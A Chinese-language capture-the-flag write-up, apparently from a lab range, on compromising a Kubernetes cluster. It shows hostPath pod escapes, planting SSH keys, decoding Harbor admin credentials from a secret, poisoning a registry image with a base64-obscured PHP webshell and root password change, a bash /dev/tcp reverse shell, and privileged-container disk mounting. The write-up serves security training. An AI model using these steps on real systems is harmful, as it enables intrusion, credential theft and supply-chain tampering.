可以在 Dashboard 直接管理shell,逃逸到node1节点的宿主机后在根目录看到第四个flag

alt text

alt text

如法炮制,继续写yaml,逃逸node2跟master节点,直接通过Dashboard自带shell查看flag即可

注意:这里node2跟master节点如果镜像继续直接用172.22.18.64/hospital/jizhicms:2.5.0会创建容器失败,得到如下报错,因为该镜像是私有镜像,无法直接拉取

1
Failed to pull image "172.22.18.64/hospital/jizhicms:2.5.0": failed to pull and unpack image "172.22.18.64/hospital/jizhicms:2.5.0": failed to resolve reference "172.22.18.64/hospital/jizhicms:2.5.0": pull access denied, repository does not exist or may require authorization: authorization failed: no basic auth credentials

查看原本node1节点中的pod,可以看到 Kubernetes 的 Secrets 资源有一个harbor-registry-secret,接下来就可以通过添加imagePullSecrets来进行对私有镜像仓库认证,从而拉取 jizhicms:2.5.0镜像

修改后的yaml,对node2跟master节点进行容器挂载逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
apiVersion: v1
kind: Pod
metadata:
name: simho6
spec:
nodeName: master # node2
imagePullSecrets:
- name: harbor-registry-secret
tolerations:
- key: node.kubernetes.io/unschedulable
operator: Exists
effect: NoSchedule
containers:
- name: mycontainer
image: 172.22.18.64/hospital/jizhicms:2.5.0
command: ["/bin/sleep", "3650d"]
volumeMounts:
- name: test
mountPath: /adminsim
volumes:
- name: test
hostPath:
path: /
type: Directory

那为什么拉mysql:5.6镜像就可以直接挂载node2跟master节点呢,可以看一下原本node2节点中的pod就是由mysql:5.6拉取的,其SA为mysql

alt text

继续查看该mysql账户,属于admin角色,点进去发现是有众多权限的,这也解释了为什么通过mysql那台服务器读取的 token 有高权限的原因,并且node2跟master节点都能通过mysql:5.6镜像去进行挂载逃逸

alt text

因此,这样编写yaml

node2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
apiVersion: v1
kind: Pod
metadata:
name: simho1
spec:
containers:
- image: 172.22.18.64/public/mysql:5.6
name: aaa-container
volumeMounts:
- mountPath: /simho1
name: aaa-volume
volumes:
- name: aaa-volume
hostPath:
path: /

alt text

master

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
apiVersion: v1
kind: Pod
metadata:
name: simho2
spec:
nodeName: master
tolerations:
- key: node.kubernetes.io/unschedulable
operator: Exists
effect: NoSchedule
containers:
- name: mycontainer
image: 172.22.18.64/public/mysql:5.6
command: ["/bin/sleep", "3650d"]
volumeMounts:
- name: test
mountPath: /adminsim
volumes:
- name: test
hostPath:
path: /
type: Directory

alt text

flag7

任选一个从容器逃逸出来的node宿主机,查看/etc/hosts能够获取三个节点对应的node ip

1
2
3
4
5
6
7
8
root@simho2:/adminsim# cat ./etc/hosts
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4

172.22.15.45 node1 node1
172.22.15.44 node2 node2
172.22.15.75 master master
172.22.15.75 easzlab.io.local

这里查看node1宿主机也有web服务,并且也是极致cms,当时以为172.22.18.61那台的80端口对应的直接是node1宿主机

但是web目录没有当时写马的文件,并且在Dashboard可以看到极致cms那台web容器的yaml配置文件,是将80端口映射出来的
alt text

因此与一开始的猜测一样,172.22.18.61虽然对应的是node1节点的宿主机ip,但是其80端口对应的是pod里container的web服务

搞清楚之后,在宿主机写个公钥

1
root@simho2:/adminsim# echo -e '\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/cLKx3VFmrhhVKqesaPH7bbP9wFzxckpLBZdrn0Khq/+g+kWrnU00g20pEu1u5xuR9oUy+YHc2rKAOXhST1MA/VD7nAHOZjf2iwuD10YONNBSJQ0g/v+KMzMn3rTeoX5D0oQcHoyisnOgJf17/8RInSnfXVrZ87xnbgYkXBneBl1RHedaAqodXZmM1INBvEcUQwtrEYK0GAw0vc/8dAt3knryMzhhjlS8zYXP7xFEJSL9cjcfXTeDT/v3AxX6gKv5evvLGRwJ5IvEreU1hNMEzoYt8LrDhsyn/n8SMObsAt9Zgq+mrEkq7NoFGpFegbL0qKBo9Ll/xvoFPC4t6U7LEJHLMCtIxjcvBZAn2KR+wRZWAKJ19rXt8Q09/BVzdzSt521pEZHWhb4ssXek5Q+Wg/3NQsK7fcqnZDZqfz3rtdK93tSNacQ9pGt9Ba0CkxxHwQeJz2ldzJtGNnPpInxukdprAQZbXxKG59NgD1v6IX0WR65PFx6YCrIyaeqoRRs= root@iZf8ze93nwj9zenhhgk508Z\n\n' >> /adminsim/root/.ssh/authorized_keys

成功ssh连上172.22.18.61

1
2
3
4
5
6
7
8
9
10
11
root@iZf8ze93nwj9zenhhgk508Z:/home/test# proxychains ssh root@172.22.18.61
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:5000-<><>-172.22.18.61:22-<><>-OK
Enter passphrase for key '/root/.ssh/id_rsa':
Last failed login: Tue Jul 1 00:52:45 CST 2025 from 172.22.18.23 on ssh:notty
There were 8 failed login attempts since the last successful login.
Last login: Fri Sep 13 15:08:04 2024 from 172.22.18.23

Welcome to Alibaba Cloud Elastic Compute Service !

[root@node1 ~]#

查看网卡,一个是node ip,一个是外网ip(这里的外网指的是相对于kubernetes环境的外网)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
inet 172.22.15.45 netmask 255.255.0.0 broadcast 172.22.255.255
inet6 fe80::216:3eff:fe37:f660 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:37:f6:60 txqueuelen 1000 (Ethernet)
RX packets 65883 bytes 29270537 (27.9 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 173965 bytes 40294589 (38.4 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.18.61 netmask 255.255.0.0 broadcast 172.22.255.255
inet6 fe80::216:3eff:fe37:f614 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:37:f6:14 txqueuelen 1000 (Ethernet)
RX packets 286612 bytes 279041525 (266.1 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 7634 bytes 1230043 (1.1 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

通过scp传个fscan扫一下172.22.15.75

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
start infoscan
172.22.15.75:179 open
172.22.15.75:22 open
172.22.15.75:111 open
172.22.15.75:2380 open
172.22.15.75:2379 open
172.22.15.75:5000 open
172.22.15.75:6443 open
172.22.15.75:9253 open
172.22.15.75:9353 open
172.22.15.75:10259 open
172.22.15.75:10249 open
172.22.15.75:10257 open
172.22.15.75:10250 open
172.22.15.75:10256 open
172.22.15.75:10248 open
172.22.15.75:30020 open
172.22.15.75:32686 open
[*] alive ports len is: 17
start vulscan
[*] WebTitle http://172.22.15.75:9253 code:404 len:19 title:None
[*] WebTitle http://172.22.15.75:9353 code:404 len:19 title:None
[*] WebTitle http://172.22.15.75:5000 code:200 len:0 title:None
[*] WebTitle http://172.22.15.75:10248 code:404 len:19 title:None
[*] WebTitle https://172.22.15.75:32686 code:200 len:1422 title:Kubernetes Dashboard
[*] WebTitle http://172.22.15.75:10249 code:404 len:19 title:None
[*] WebTitle http://172.22.15.75:10256 code:404 len:19 title:None
[*] WebTitle https://172.22.15.75:10250 code:404 len:19 title:None
[*] WebTitle https://172.22.15.75:6443 code:401 len:157 title:None
[*] WebTitle https://172.22.15.75:10257 code:403 len:217 title:None
[+] InfoScan https://172.22.15.75:32686 [Kubernetes]
[*] WebTitle https://172.22.15.75:10259 code:403 len:217 title:None

可以看到开放了6443端口,172.22.15.75:6443跟前面提到的10.68.0.1都指向的是 Kubernetes API Server,只是一个是node ip,一个是 Cluster ip,验证一下,同样可以直接用 kubectl 直接指定 token 执行命令

1
kubectl -s https://172.22.15.75:6443/ --insecure-skip-tls-verify=true --token=eyJhbGci... describe nodes

这里列出集群所有资源类型,可以看到有secrets资源

1
kubectl --kubeconfig k8s.yaml api-resources

alt text

显示secrets资源,发现前面Dashboard中看到的harbor-registry-secret,打印出来

1
2
3
kubectl --kubeconfig k8s.yaml get secrets
kubectl --kubeconfig k8s.yaml get secrets harbor-registry-secret
kubectl --kubeconfig k8s.yaml get secret harbor-registry-secret -o jsonpath='{.data.\.dockerconfigjson}'

alt text

base64解码得到 harbor 的admin账密

1
{"auths":{"172.22.18.64":{"username":"admin","password":"password@nk9DLwqce","auth":"YWRtaW46cGFzc3dvcmRAbms5REx3cWNl"}}}

登录之后就可以看到原本看不到的私有镜像仓库了

alt text

拉取hospital/flag镜像,拉之前要先用该账密登录一下docker

1
2
3
proxychains docker login 172.22.18.64

docker pull 172.22.18.64/hospital/flag:latest

拉完镜像后启动,进入容器拿到flag7

1
2
docker run -itd --name flag 172.22.18.64/hospital/flag:latest
docker exec -it flag /bin/bash

alt text

flag8

Harbor镜像同步

接着看hospital:system镜像日志,可以看到admin每隔一段时间就会拉取该镜像

alt text

回到master节点那台宿主机,写个公钥

alt text

可以看到内网ip172.22.50.75,还是通过scp传fscan扫一下新网段,在172.22.50.45机器有web服务

将hospital/system镜像pull到本地

1
docker pull 172.22.18.64/hospital/system:latest

发现该镜像也有web服务,对比发现该镜像跟172.22.50.45机器的web服务都有p.php文件,因此基本说明admin用户就是定时将镜像给pull到这台机器上

alt text

创建恶意Dockerfile文件,主要做了三个步骤

  • 在web目录写webshell
  • 给find文件添加suid权限
  • 将root用户密码改为password

Dockerfile

1
2
3
4
5
FROM 172.22.18.64/hospital/system

RUN echo ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+JyA+IC92YXIvd3d3L2h0bWwvc2hlbGwucGhwICYmIGNobW9kIHUrcyAvdXNyL2Jpbi9maW5k | base64 -d | bash && echo password | echo ZWNobyAicm9vdDpwYXNzd29yZCIgfCBjaHBhc3N3ZA== | base64 -d | bash

ENTRYPOINT ["/usr/sbin/apache2ctl", "-D", "FOREGROUND"]

base64部分

1
2
3
echo '<?php eval($_POST[1]);?>' > /var/www/html/shell.php && chmod u+s /usr/bin/find

echo "root:password" | chpasswd

在本地将该Dockerfile文件制作成镜像,并push到docker,等待20分钟一轮的拉取

1
2
proxychains docker build -t 172.22.18.64/hospital/system .
proxychains docker push 172.22.18.64/hospital/system

之后蚁剑连接,在tmp目录下新建一个sh脚本,内容是弹一个shell到master节点宿主机

shell.sh

1
2
#!/bin/sh
bash -c "/bin/bash -i >& /dev/tcp/172.22.15.75/4567 0>&1"

执行前记得先在master节点宿主机开启监听,应该那台机没有nc,因此先scp传一个上去

1
/usr/bin/find ./ -exec ./shell.sh \;

Docker privileged提权

此时提权到root权限,利用privileged提权逃逸,拿到该宿主机上的最后一个flag

1
2
3
4
5
6
7
8
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
cat /proc/self/status | grep CapEff
# 0000003fffffffff 或是 0000001fffffffff

df -h
mkdir /simho
mount /dev/vda3 /simho
cat /simho/flag.txt